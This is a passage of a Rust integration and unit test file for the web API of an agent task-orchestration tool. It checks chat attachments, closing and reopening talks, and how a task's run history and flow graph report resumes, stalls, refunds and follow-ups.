16889    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16890        let f = Fixture::start().await;
16891        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16892
16893        // A whitelisted `Content-Type`, but bytes that are not actually a
16894        // png - the declared header alone is never trusted.
16895        let res = f
16896            .post_bytes(
16897                &format!("/api/talks/{id}/attachments"),
16898                &[("Content-Type", "image/png")],
16899                b"<html>not a picture</html>",
16900            )
16901            .await;
16902        assert!((400..500).contains(&res.status), "{}", res.body);
16903    }
16904
16905    #[tokio::test]
16906    async fn an_unknown_attachment_id_is_a_404() {
16907        let f = Fixture::start().await;
16908        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16909
16910        let res = f
16911            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16912            .await;
16913        assert_eq!(res.status, 404, "{}", res.body);
16914    }
16915
16916    #[tokio::test]
16917    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16918        let f = Fixture::start().await;
16919        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16920
16921        let uploaded = f
16922            .post_bytes(
16923                &format!("/api/talks/{id}/attachments"),
16924                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16925                PNG_BYTES,
16926            )
16927            .await;
16928        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16929        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16930
16931        let res = f
16932            .post(
16933                &format!("/api/talks/{id}/say"),
16934                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16935            )
16936            .await;
16937        assert_eq!(res.status, 202, "{}", res.body);
16938        let queued = res.json();
16939        let turns = queued["turns"].as_array().expect("turns array");
16940        assert_eq!(
16941            turns.len(),
16942            1,
16943            "an empty body with an attachment is still a turn: {queued}"
16944        );
16945        assert_eq!(turns[0]["who"], "operator");
16946        assert_eq!(turns[0]["body"], "");
16947        let atts = turns[0]["attachments"]
16948            .as_array()
16949            .expect("attachments array");
16950        assert_eq!(atts.len(), 1);
16951        assert_eq!(atts[0]["id"], att_id);
16952        assert_eq!(atts[0]["mime"], "image/png");
16953
16954        // Not only in the response: `record` flushes to disk before the
16955        // agent's own turn is even spawned.
16956        let on_disk = f.talks().get(&id).expect("get");
16957        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16958        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16959    }
16960
16961    #[tokio::test]
16962    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16963        let f = Fixture::start().await;
16964        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16965
16966        let res = f
16967            .post(
16968                &format!("/api/talks/{id}/say"),
16969                Some(&format!(
16970                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16971                    "a".repeat(32)
16972                )),
16973            )
16974            .await;
16975        assert!((400..500).contains(&res.status), "{}", res.body);
16976        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16977
16978        let on_disk = f.talks().get(&id).expect("get");
16979        assert!(
16980            on_disk.turns.is_empty(),
16981            "a rejected attachment id must not partially record the turn: {:?}",
16982            on_disk.turns
16983        );
16984    }
16985
16986    #[tokio::test]
16987    async fn talk_close_makes_the_talk_refuse_further_turns() {
16988        let f = Fixture::start().await;
16989        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16990
16991        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16992        assert_eq!(closed.status, 200, "{}", closed.body);
16993        assert_eq!(closed.json()["status"], "closed");
16994
16995        // Idempotent: closing an already-closed talk is not an error.
16996        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16997        assert_eq!(closed_again.status, 200);
16998        assert_eq!(closed_again.json()["status"], "closed");
16999
17000        let said = f
17001            .post(
17002                &format!("/api/talks/{id}/say"),
17003                Some(r#"{"text":"too late"}"#),
17004            )
17005            .await;
17006        assert_eq!(said.status, 409, "{}", said.body);
17007    }
17008
17009    #[tokio::test]
17010    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17011        let f = Fixture::start().await;
17012        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17013        let store = f.talks();
17014        let mut queued = store.get(&id).expect("talk");
17015        for automatic in [false, true] {
17016            if automatic {
17017                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17018                    .expect("queue automatic input");
17019            } else {
17020                talk::queue(&mut queued, &store, "queued send", Vec::new())
17021                    .expect("queue operator input");
17022            }
17023            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17024            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17025            assert_eq!(refused.status, 409, "{}", refused.body);
17026            assert!(refused.body.contains("pending input"), "{}", refused.body);
17027            assert_eq!(
17028                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17029                before,
17030                "a close refusal must preserve the entire record"
17031            );
17032            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17033        }
17034        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17035        assert_eq!(closed.status, 200, "{}", closed.body);
17036        assert_eq!(closed.json()["status"], "closed");
17037    }
17038
17039    #[tokio::test]
17040    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17041        let (_tmp, _repo, f) = talk_fixture().await;
17042        let id = f.post("/api/talks", None).await.json()["id"]
17043            .as_str()
17044            .expect("id")
17045            .to_owned();
17046        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17047        assert_eq!(closed.status, 200, "{}", closed.body);
17048
17049        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17050        assert_eq!(reopened.status, 200, "{}", reopened.body);
17051        assert_eq!(reopened.json()["status"], "open");
17052
17053        // Idempotent: reopening an already-open talk is not an error.
17054        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17055        assert_eq!(reopened_again.status, 200);
17056        assert_eq!(reopened_again.json()["status"], "open");
17057
17058        let said = f
17059            .post(
17060                &format!("/api/talks/{id}/say"),
17061                Some(r#"{"text":"still there?"}"#),
17062            )
17063            .await;
17064        assert_eq!(
17065            said.status, 202,
17066            "a reopened talk accepts turns again: {}",
17067            said.body
17068        );
17069    }
17070
17071    #[tokio::test]
17072    async fn talk_reopen_on_an_unknown_id_is_404() {
17073        let f = Fixture::start().await;
17074        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17075        assert_eq!(res.status, 404, "{}", res.body);
17076    }
17077
17078    #[tokio::test]
17079    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17080        let f = Fixture::start().await;
17081        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17082
17083        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17084        assert_eq!(deleted.status, 204, "{}", deleted.body);
17085
17086        let after = f.get(&format!("/api/talks/{id}")).await;
17087        assert_eq!(after.status, 404, "{}", after.body);
17088
17089        let listed = f.get("/api/talks").await.json();
17090        assert!(
17091            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17092            "a deleted talk must not linger in the list: {listed}"
17093        );
17094    }
17095
17096    #[tokio::test]
17097    async fn talk_delete_on_an_unknown_id_is_404() {
17098        let f = Fixture::start().await;
17099        let res = f.delete("/api/talks/nonexistent-id").await;
17100        assert_eq!(res.status, 404, "{}", res.body);
17101    }
17102
17103    /// A task's page lists every run it ever had, in order, and says what kind
17104    /// of attempt each was - including a resume, which re-pushes the same run
17105    /// id, and a run whose record this build cannot read.
17106    #[tokio::test]
17107    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17108        let f = Fixture::start().await;
17109        let (a, b, gone) = (
17110            "20260902-140501-aaaa",
17111            "20260902-140502-bbbb",
17112            "20260902-140503-cccc",
17113        );
17114        write_run(&f.runs(), a, RunStatus::Stalled);
17115        let mut review = RunState::new(
17116            PathBuf::from("/repo/magi"),
17117            "main".to_owned(),
17118            "0123456789abcdef".to_owned(),
17119            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17120                .to_owned(),
17121            Config::default(),
17122        );
17123        review.id = b.to_owned();
17124        review.status = RunStatus::Merged;
17125        write_state(&f.runs(), &review);
17126
17127        let mut task = Task::new(
17128            "retry".to_owned(),
17129            "Do the thing".to_owned(),
17130            PathBuf::from("/repo/magi"),
17131            Source::Human,
17132        );
17133        task.start(a.to_owned());
17134        task.stall("quota");
17135        task.start(a.to_owned());
17136        task.start(b.to_owned());
17137        task.start(gone.to_owned());
17138        // This fixture models an older queue file with repeated run entries.
17139        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17140        f.queue().put(&mut task).expect("file the task");
17141
17142        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17143        assert_eq!(res.status, 200, "{}", res.body);
17144        let v = res.json();
17145        let h = v["history"].as_array().expect("history");
17146        assert_eq!(h.len(), 4, "{v}");
17147        assert_eq!(h[0]["kind"], "competition");
17148        assert_eq!(h[0]["status"], "stalled");
17149        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17150        assert_eq!(h[1]["kind"], "resume", "{v}");
17151        assert!(
17152            h[0]["outcome"]
17153                .as_str()
17154                .unwrap()
17155                .contains("unknown. Pass #2"),
17156            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17157        );
17158        assert!(
17159            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17160            "{v}"
17161        );
17162        assert!(
17163            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17164            "an unrecorded cause must not be narrated as an operator park: {v}"
17165        );
17166        assert_eq!(h[2]["kind"], "review");
17167        assert!(
17168            h[2]["description"]
17169                .as_str()
17170                .unwrap()
17171                .contains("magi/aaaa/A")
17172        );
17173        assert_eq!(h[2]["status"], "merged");
17174        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17175        assert_eq!(v["runs_unreadable"], 1);
17176        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17177        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17178        assert_eq!(nodes[4]["note"], "unreadable");
17179        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17180        assert_eq!(v["instruction"], "Do the thing");
17181        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17182
17183        // The run's own page links back to the task.
17184        let run = f.get(&format!("/api/runs/{a}")).await.json();
17185        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17186
17187        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17188    }
17189
17190    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17191        let mut s = RunState::new(
17192            PathBuf::from("/repo/magi"),
17193            "main".to_owned(),
17194            "0123456789abcdef".to_owned(),
17195            "Do it".to_owned(),
17196            Config::default(),
17197        );
17198        s.status = status;
17199        edit(&mut s);
17200        s
17201    }
17202
17203    fn flow_task(runs: &[&str]) -> Task {
17204        let mut t = Task::new(
17205            "t".to_owned(),
17206            "Do it".to_owned(),
17207            PathBuf::from("/repo/magi"),
17208            Source::Human,
17209        );
17210        for r in runs {
17211            t.start((*r).to_owned());
17212        }
17213        // Synthetic flows without RunPass records model legacy queue data.
17214        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17215        t
17216    }
17217
17218    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17219        let h = task_history(task, |id| {
17220            states
17221                .iter()
17222                .find(|(i, _)| *i == id)
17223                .and_then(|(_, s)| s.clone())
17224        });
17225        task_flow(task, &h, 5, None)
17226    }
17227
17228    #[test]
17229    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17230        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17231        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17232        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17233        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17234        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17235        let run = flow_run(RunStatus::Implementing, |s| {
17236            s.created_at = created;
17237            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17238            s.passes[0].started_at = first;
17239            s.passes[1].started_at = resumed;
17240        });
17241        let mut task = flow_task(&[RUN_X, RUN_X]);
17242        task.created_at = queued;
17243        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17244        task.status = TaskStatus::Held;
17245        task.held_at = Some(held);
17246        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17247        assert_eq!(
17248            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17249            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17250        );
17251        assert!(flow.nodes.iter().all(|n| n.time_expected));
17252        let json = serde_json::to_value(&flow).unwrap();
17253        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17254        assert_eq!(json["nodes"][2]["time_expected"], true);
17255    }
17256
17257    #[test]
17258    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17259        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17260        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17261        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17262        // These timestamps are not the start of the current status.
17263        task.held_at = Some(created);
17264        task.blocked_at = Some(created);
17265        for status in [
17266            TaskStatus::Queued,
17267            TaskStatus::Running,
17268            TaskStatus::Blocked,
17269            TaskStatus::Done,
17270            TaskStatus::Failed,
17271            TaskStatus::Parked,
17272            TaskStatus::Held,
17273        ] {
17274            task.status = status;
17275            if status == TaskStatus::Held {
17276                task.held_at = None;
17277            }
17278            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17279            assert_eq!(flow.nodes[1].started_at, Some(created));
17280            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17281            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17282            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17283            let json = serde_json::to_value(&flow).unwrap();
17284            assert!(json["nodes"][3]["started_at"].is_null());
17285            assert_eq!(json["nodes"][3]["time_expected"], true);
17286        }
17287    }
17288
17289    #[test]
17290    fn flow_context_links_do_not_expect_start_times() {
17291        let mut task = flow_task(&[]);
17292        task.source = Source::Agent {
17293            run: "chat-id".to_owned(),
17294            node: "chat".to_owned(),
17295        };
17296        let origin = followup_origin(&fu(None), |_| None, |_| None);
17297        let flow = task_flow(&task, &[], 5, Some(&origin));
17298        for node in &flow.nodes[..2] {
17299            assert!(!node.time_expected);
17300            assert_eq!(node.started_at, None);
17301        }
17302        assert!(flow.nodes[2].time_expected);
17303    }
17304
17305    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17306        crate::queue::FollowUp {
17307            run: "20260901-000000-aaaa".to_owned(),
17308            origin_task: origin_task.map(str::to_owned),
17309            pr: "https://example.com/o/r/pull/1".to_owned(),
17310            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17311                .map(str::to_owned)
17312                .to_vec(),
17313            generation: 1,
17314        }
17315    }
17316
17317    fn parent_task() -> Task {
17318        let mut p = flow_task(&[]);
17319        p.title = "Parent title".to_owned();
17320        p.status = TaskStatus::Done;
17321        p
17322    }
17323
17324    #[test]
17325    fn flow_opens_with_the_parent_task_of_a_followup() {
17326        let p = parent_task();
17327        let pid = p.id.clone();
17328        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17329        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17330        let n = &f.nodes[0];
17331        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17332        assert_eq!(
17333            n.label,
17334            format!("Follow-up of {}", crate::queue::short(&pid))
17335        );
17336        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17337        assert_eq!(n.status, Some("done"));
17338        assert_eq!(n.status_of, "task");
17339        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17340        assert_eq!(f.nodes[1].key, "start");
17341        assert_eq!(f.edges[0].from, "origin");
17342        assert_eq!(
17343            f.edges[0].label,
17344            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17345        );
17346    }
17347
17348    #[test]
17349    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17350        let o = followup_origin(
17351            &fu(Some("gone")),
17352            |_| None,
17353            |_| {
17354                Some(RunState::new(
17355                    std::path::PathBuf::from("."),
17356                    "main".to_owned(),
17357                    "0".to_owned(),
17358                    "t".to_owned(),
17359                    crate::config::Config::default(),
17360                ))
17361            },
17362        );
17363        assert!(o.parent.is_none());
17364        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17365        let n = &f.nodes[0];
17366        assert_eq!(n.status_of, "run");
17367        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17368        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17369    }
17370
17371    #[test]
17372    fn flow_followup_with_nothing_readable_has_no_link() {
17373        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17374        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17375        let n = &f.nodes[0];
17376        assert_eq!(n.href, None);
17377        assert_eq!(n.note, Some("unreadable"));
17378        assert!(!n.readable);
17379    }
17380
17381    #[test]
17382    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17383        let o = followup_origin(&fu(None), |_| None, |_| None);
17384        let mut t = flow_task(&[]);
17385        t.origin_chat = Some("c1".to_owned());
17386        let f = task_flow(&t, &[], 5, Some(&o));
17387        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17388        t.source = Source::Agent {
17389            run: "c1".to_owned(),
17390            node: crate::queue::CHAT_NODE.to_owned(),
17391        };
17392        let f = task_flow(&t, &[], 5, Some(&o));
17393        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17394        assert_eq!(
17395            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17396            ("chat", "origin")
17397        );
17398    }
17399
17400    #[test]
17401    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17402        let mut p = parent_task();
17403        p.id = "a b/c".to_owned();
17404        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17405        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17406    }
17407
17408    #[test]
17409    fn flow_opens_with_the_chat_that_queued_the_task() {
17410        let mut t = flow_task(&[]);
17411        t.source = Source::Agent {
17412            run: "a b/c".to_owned(),
17413            node: crate::queue::CHAT_NODE.to_owned(),
17414        };
17415        let f = flow_for(&t, &[]);
17416        assert_eq!(f.nodes[0].key, "chat");
17417        assert_eq!(f.nodes[0].kind, "chat");
17418        assert_eq!(
17419            f.nodes[0].label,
17420            format!("Chat {}", crate::queue::short("a b/c"))
17421        );
17422        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17423        assert_eq!(f.nodes[1].key, "start");
17424        assert_eq!(
17425            f.edges[0],
17426            FlowEdge {
17427                from: "chat".to_owned(),
17428                to: "start".to_owned(),
17429                label: "queued from chat".to_owned(),
17430                attempt: AttemptCost::None,
17431            }
17432        );
17433    }
17434
17435    #[test]
17436    fn flow_has_no_chat_box_for_other_sources() {
17437        for source in [
17438            Source::Human,
17439            Source::Issue {
17440                number: 3,
17441                repo: "o/r".to_owned(),
17442            },
17443            Source::Agent {
17444                run: "20260904-014455-ab12".to_owned(),
17445                node: "implement".to_owned(),
17446            },
17447        ] {
17448            let mut t = flow_task(&[]);
17449            t.source = source;
17450            let f = flow_for(&t, &[]);
17451            assert_eq!(f.nodes[0].key, "start");
17452            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17453            assert!(f.edges.iter().all(|e| e.from != "chat"));
17454        }
17455    }
17456
17457    const FA: &str = "20260902-140501-aaaa";
17458    const FB: &str = "20260902-140502-bbbb";
17459
17460    #[test]
17461    fn flow_follows_blocked_retry_merged_to_done() {
17462        let mut t = flow_task(&[FA, FB]);
17463        t.status = TaskStatus::Done;
17464        let f = flow_for(
17465            &t,
17466            &[
17467                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17468                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17469            ],
17470        );
17471        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17472        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17473        assert_eq!(f.edges.len(), 3);
17474        assert_eq!(f.edges[0].label, "claimed");
17475        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17476        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17477        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17478        assert_eq!(
17479            f.nodes[2].href.as_deref(),
17480            Some("#/runs/20260902-140502-bbbb")
17481        );
17482        assert!(f.nodes[2].decided);
17483    }
17484
17485    #[test]
17486    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17487        let quota = || {
17488            flow_run(RunStatus::Stalled, |s| {
17489                s.quota.push(crate::run::QuotaLoss {
17490                    cause: crate::agent::QuotaCause::UsageLimit,
17491                    agent: String::new(),
17492                    seat: "judge-1".to_owned(),
17493                    node: "judge".to_owned(),
17494                    at: Timestamp::now(),
17495                    reset: None,
17496                })
17497            })
17498        };
17499        let mut t = flow_task(&[FA, FA]);
17500        t.status = TaskStatus::Queued;
17501        let f = flow_for(&t, &[(FA, Some(quota()))]);
17502        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17503        assert_eq!(f.nodes[1].note, Some("interrupted"));
17504        assert_eq!(
17505            f.nodes[1].status, None,
17506            "no outcome copied onto an earlier pass"
17507        );
17508        assert_eq!(
17509            f.edges[1].attempt,
17510            AttemptCost::Unknown,
17511            "a resume does not prove the earlier pass was refunded"
17512        );
17513        assert!(f.edges[1].label.contains("resume the same run"));
17514        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17515        assert_eq!(
17516            f.edges[2].label,
17517            "stalled after a resume, refund unknown \u{2192} queued"
17518        );
17519        assert!(!f.nodes[2].decided, "a stall is not a decision");
17520        assert_eq!(f.nodes[2].note, Some("no verdict"));
17521    }
17522
17523    #[test]
17524    fn flow_single_pass_quota_stall_is_refunded() {
17525        let t = flow_task(&[FA]);
17526        let f = flow_for(
17527            &t,
17528            &[(
17529                FA,
17530                Some(flow_run(RunStatus::Stalled, |s| {
17531                    s.quota.push(crate::run::QuotaLoss {
17532                        cause: crate::agent::QuotaCause::UsageLimit,
17533                        agent: String::new(),
17534                        seat: "judge-1".to_owned(),
17535                        node: "judge".to_owned(),
17536                        at: Timestamp::now(),
17537                        reset: None,
17538                    })
17539                })),
17540            )],
17541        );
17542        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17543    }
17544
17545    #[test]
17546    fn flow_parked_refunds_and_stall_without_quota_spends() {
17547        let mut t = flow_task(&[FA]);
17548        t.status = TaskStatus::Queued;
17549        let f = flow_for(
17550            &t,
17551            &[(
17552                FA,
17553                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17554            )],
17555        );
17556        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17557        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17558        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17559        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17560        assert!(!f.nodes[1].decided);
17561    }
17562
17563    #[test]
17564    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17565        let t = flow_task(&[FA, FB]);
17566        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17567        assert_eq!(f.nodes[1].note, Some("unreadable"));
17568        assert!(!f.nodes[1].readable);
17569        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17570        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17571    }
17572
17573    #[test]
17574    fn flow_names_the_branch_of_a_review_only_run() {
17575        let t = flow_task(&[FA]);
17576        let f = flow_for(
17577            &t,
17578            &[(
17579                FA,
17580                Some(flow_run(RunStatus::Merged, |s| {
17581                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17582                })),
17583            )],
17584        );
17585        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17586        assert_eq!(
17587            f.nodes[1].detail.as_deref(),
17588            Some("review-only run of branch magi/x/A")
17589        );
17590    }
17591
17592    #[test]
17593    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17594        let mut t = flow_task(&[FA]);
17595        t.status = TaskStatus::Held;
17596        let pr = crate::run::PrRecord {
17597            url: "https://example.test/pr/1".to_owned(),
17598            number: 1,
17599            state: "open".to_owned(),
17600            checks: "green".to_owned(),
17601            round: 0,
17602            rounds: 3,
17603            red_at_merge: Vec::new(),
17604        };
17605        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17606        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17607        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17608        t.status = TaskStatus::Done;
17609        let f = flow_for(&t, &[(FA, Some(blocked))]);
17610        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17611    }
17612
17613    #[test]
17614    fn flow_with_no_runs_goes_from_queued_to_queued() {
17615        let t = flow_task(&[]);
17616        let f = flow_for(&t, &[]);
17617        assert_eq!(f.nodes.len(), 2);
17618        assert_eq!(f.edges.len(), 1);
17619        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17620        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17621    }
17622
17623    /// A run parked mid-flight keeps a non-terminal status; the page must
17624    /// still say why it stopped and that the attempt came back.
17625    #[test]
17626    fn a_parked_non_terminal_run_is_explained_as_parked() {
17627        let mut s = RunState::new(
17628            PathBuf::from("/repo/magi"),
17629            "main".to_owned(),
17630            "0123456789abcdef".to_owned(),
17631            "Do it".to_owned(),
17632            Config::default(),
17633        );
17634        s.status = RunStatus::Implementing;
17635        s.parked = true;
17636        let task = Task::new(
17637            "t".to_owned(),
17638            "Do it".to_owned(),
17639            PathBuf::from("/repo/magi"),
17640            Source::Human,
17641        );
17642        let v = task_run_view(
17643            "20260902-140501-aaaa",
17644            Some(&s),
17645            RunSlot {
17646                n: 1,
17647                resumed: false,
17648                resumed_later: None,
17649                prior: None,
17650                last: true,
17651                ..RunSlot::default()
17652            },
17653            &task,
17654        );
17655        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17656    }
17657
17658    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17659        let mut s = flow_run(RunStatus::Implementing, edit);
17660        s.parked = false;
17661        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17662        task_run_view(
17663            "20260902-140501-aaaa",
17664            Some(&s),
17665            RunSlot {
17666                n: 1,
17667                resumed: false,
17668                resumed_later: Some(2),
17669                prior: None,
17670                last: false,
17671                ..RunSlot::default()
17672            },
17673            &task,
17674        )
17675    }
17676
17677    #[test]
17678    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17679        let v = earlier_pass_view(|_| {});
17680        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17681        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17682        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17683        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17684        assert_eq!(v.exit, RunExit::Interrupted);
17685        assert_eq!(v.attempt, AttemptCost::Unknown);
17686    }
17687
17688    #[test]
17689    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17690        let v = earlier_pass_view(|s| {
17691            s.quota.push(crate::run::QuotaLoss {
17692                cause: crate::agent::QuotaCause::UsageLimit,
17693                agent: String::new(),
17694                seat: "judge-1".to_owned(),
17695                node: "judge".to_owned(),
17696                at: Timestamp::now(),
17697                reset: None,
17698            });
17699        });
17700        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17701        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17702        assert_eq!(v.attempt, AttemptCost::Unknown);
17703    }
17704
17705    #[test]
17706    fn the_current_pass_states_its_recorded_cause_and_cost() {
17707        let slot = || RunSlot {
17708            n: 1,
17709            resumed: false,
17710            resumed_later: None,
17711            prior: None,
17712            last: true,
17713            ..RunSlot::default()
17714        };
17715        let task = flow_task(&["20260902-140501-aaaa"]);
17716        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17717        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17718        assert_eq!(
17719            (v.exit, v.attempt),
17720            (RunExit::Parked, AttemptCost::Refunded)
17721        );
17722        let spent = flow_run(RunStatus::Blocked, |_| {});
17723        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17724        assert_eq!(v.attempt, AttemptCost::Spent);
17725        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17726    }
17727
17728    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17729        crate::run::RunPass {
17730            index,
17731            started_at: Timestamp::now(),
17732            resumed: index > 0,
17733            ended_at: end.as_ref().map(|_| Timestamp::now()),
17734            end,
17735            task_entry: true,
17736        }
17737    }
17738
17739    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17740        Some(crate::run::PassEnd::Parked { cause })
17741    }
17742
17743    fn upgrade_cause() -> crate::run::ParkCause {
17744        crate::run::ParkCause::Upgrade {
17745            from: "0.121.0".to_owned(),
17746            to: Some("0.121.1".to_owned()),
17747        }
17748    }
17749
17750    fn settled_pass(
17751        run: &str,
17752        index: usize,
